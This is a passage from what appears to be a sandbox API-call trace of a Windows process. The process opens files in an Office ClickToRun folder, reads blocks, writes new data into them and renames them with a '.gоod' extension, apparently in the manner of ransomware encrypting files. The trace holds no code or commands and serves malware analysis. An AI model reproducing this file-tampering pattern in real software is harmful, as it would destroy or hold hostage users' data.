lpBuffer=0x3305f90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3305f90*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0071.515] CloseHandle (hObject=0x6b4) returned 1 [0071.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0071.516] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16", lpFilePart=0x0) returned 0x52 [0071.516] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.799] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.799] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a09ff9, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a09ff9, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x37142600, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0071.799] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1 [0071.799] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0071.799] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.799] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0071.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0071.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0071.800] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16", lpFilePart=0x0) returned 0x52 [0071.800] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.801] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.801] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a09ff9, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a09ff9, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x37142600, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0071.801] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1 [0071.801] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0071.802] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0071.802] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0071.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0071.803] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0071.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0071.803] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x31f6140 | out: lpFileInformation=0x31f6140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a09ff9, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a09ff9, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x37142600, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5211)) returned 1 [0071.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0071.803] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0071.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0071.804] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0071.804] GetFileType (hFile=0x6b4) returned 0x1 [0071.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0071.804] GetFileType (hFile=0x6b4) returned 0x1 [0071.804] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x1000 [0071.804] ReadFile (in: hFile=0x6b4, lpBuffer=0x31f6628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa578, lpOverlapped=0x0 | out: lpBuffer=0x31f6628*, lpNumberOfBytesRead=0x10fa578*=0x1000, lpOverlapped=0x0) returned 1 [0071.806] CloseHandle (hObject=0x6b4) returned 1 [0071.806] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0071.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0071.806] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0071.806] GetFileType (hFile=0x6b4) returned 0x1 [0071.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0071.806] GetFileType (hFile=0x6b4) returned 0x1 [0071.806] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x5211 [0071.806] WriteFile (in: hFile=0x6b4, lpBuffer=0x31f7928*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10fa498, lpOverlapped=0x0 | out: lpBuffer=0x31f7928*, lpNumberOfBytesWritten=0x10fa498*=0x10, lpOverlapped=0x0) returned 1 [0071.807] CloseHandle (hObject=0x6b4) returned 1 [0071.809] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0071.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0071.810] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0071.810] GetFileType (hFile=0x6b4) returned 0x1 [0071.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0071.810] GetFileType (hFile=0x6b4) returned 0x1 [0071.810] ReadFile (in: hFile=0x6b4, lpBuffer=0x31f9c50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa528, lpOverlapped=0x0 | out: lpBuffer=0x31f9c50*, lpNumberOfBytesRead=0x10fa528*=0x1000, lpOverlapped=0x0) returned 1 [0071.822] CloseHandle (hObject=0x6b4) returned 1 [0071.822] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0071.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0071.822] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0071.822] GetFileType (hFile=0x6b4) returned 0x1 [0071.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0071.823] GetFileType (hFile=0x6b4) returned 0x1 [0071.823] WriteFile (in: hFile=0x6b4, lpBuffer=0x31f8940*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10fa5d8, lpOverlapped=0x0 | out: lpBuffer=0x31f8940*, lpNumberOfBytesWritten=0x10fa5d8*=0x1010, lpOverlapped=0x0) returned 1 [0071.823] CloseHandle (hObject=0x6b4) returned 1 [0071.824] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0071.824] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.gоod", lpFilePart=0x0) returned 0x73 [0071.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa510) returned 1 [0071.824] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x10fa5f0 | out: lpFileInformation=0x10fa5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a09ff9, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a09ff9, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x2706a90d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5221)) returned 1 [0071.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa4d0) returned 1 [0071.824] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml.gоod")) returned 1 [0071.825] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0071.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0071.825] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x32761e8 | out: lpFileInformation=0x32761e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a)) returned 1 [0071.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0071.825] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0071.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0071.825] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0071.825] GetFileType (hFile=0x6b4) returned 0x1 [0071.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0071.825] GetFileType (hFile=0x6b4) returned 0x1 [0071.825] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x1000 [0071.826] ReadFile (in: hFile=0x6b4, lpBuffer=0x32766d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa578, lpOverlapped=0x0 | out: lpBuffer=0x32766d0*, lpNumberOfBytesRead=0x10fa578*=0x1000, lpOverlapped=0x0) returned 1 [0071.827] CloseHandle (hObject=0x6b4) returned 1 [0071.827] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0071.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0071.827] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0071.827] GetFileType (hFile=0x6b4) returned 0x1 [0071.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0071.827] GetFileType (hFile=0x6b4) returned 0x1 [0071.827] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x38480a [0071.827] WriteFile (in: hFile=0x6b4, lpBuffer=0x32779d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10fa498, lpOverlapped=0x0 | out: lpBuffer=0x32779d0*, lpNumberOfBytesWritten=0x10fa498*=0x10, lpOverlapped=0x0) returned 1 [0071.829] CloseHandle (hObject=0x6b4) returned 1 [0072.866] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0072.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0072.866] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0072.866] GetFileType (hFile=0x6b4) returned 0x1 [0072.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0072.866] GetFileType (hFile=0x6b4) returned 0x1 [0072.866] ReadFile (in: hFile=0x6b4, lpBuffer=0x33746a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa528, lpOverlapped=0x0 | out: lpBuffer=0x33746a0*, lpNumberOfBytesRead=0x10fa528*=0x1000, lpOverlapped=0x0) returned 1 [0073.460] CloseHandle (hObject=0x6b4) returned 1 [0073.460] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0073.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0073.460] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: 